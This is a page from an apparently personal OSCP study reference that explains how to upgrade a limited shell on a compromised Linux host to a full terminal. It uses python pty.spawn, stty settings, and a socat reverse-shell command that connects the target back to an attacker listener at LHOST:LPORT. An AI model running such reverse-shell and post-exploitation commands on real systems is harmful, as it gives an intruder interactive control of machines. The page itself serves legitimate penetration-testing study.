Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Usable access/Sessions & transfers
← All sessions & transfers tasks

Repair a limited Linux terminal

CommandsIf → thenExplanation & examples

Needs: A working channel and available PTY mechanism; correct local-terminal control sequence

First obtain a PTY with an available interpreter

# First obtain a PTY with an available interpreter
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Press Ctrl-Z locally, then
stty raw -echo; fg

# Back in the remote shell
reset
export TERM=xterm-256color
stty rows 40 columns 120

# If the local terminal becomes unreadable, restore it from a separate/local shell
stty sane

# Socat can provide a stronger PTY when present on both sides
# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.

Verify → Check tty, signal handling and an interactive program; confirm the same identity remains.

If it fails → A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method. More detail ↓

If → then

  • sudo -l grants an operation under a more useful identity → Use an allowed sudo operation to cross a privilege boundary

    Needs: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

  • A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate

    Needs: A working command channel and accurate effective identity, group, mount and process context

  • An SSH service and a known password, private key or agent context → Use SSH passwords, keys and forwarding-capable access

    Needs: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Repair a limited Linux terminal

USE WHEN
A working shell lacks job control, terminal signals or interactive program support
STARTING ACCESS
Verified command execution or authenticated remote access and a known network path
RESULT
A usable terminal while preserving the existing identity

Recognize the clue

Inspect the working shell's terminal state and available PTY utilities after verifying a stable command channel.

tty
command -v python3 script socat
SYNTHETIC EXAMPLE OUTPUT
not a tty
/usr/bin/python3

Means: A functioning socket shell lacks a controlling terminal while a potential PTY mechanism exists.

Confirm: Verify the available PTY mode, local terminal handling and stable connection; privilege remains unchanged.

After validation
The supported PTY and local settings restore terminal behavior: use interactive tools in that same identity.
Ruled out in this context
The channel drops before any command executes: reject terminal settings as the first fault.
Still inconclusive
No PTY utility found leaves alternative terminal methods/noninteractive use to investigate.

Troubleshooting: A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.

First obtain a PTY with an available interpreter:

Press Ctrl-Z locally, then:

Back in the remote shell:

If the local terminal becomes unreadable, restore it from a separate/local shell:

Socat can provide a stronger PTY when present on both sides:

TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.

Why it works

A socket-backed command stream is not automatically a terminal. A PTY and correct local raw/echo settings repair terminal behavior without changing privileges.

Worked example · hypothetical

Observation: the shell runs commands but interactive sudo fails. Test: spawn a PTY and repair local terminal settings. Illustrative output: tty reports a device and the prompt behaves correctly. Interpretation: retry the legitimate interactive prerequisite check.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗
HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8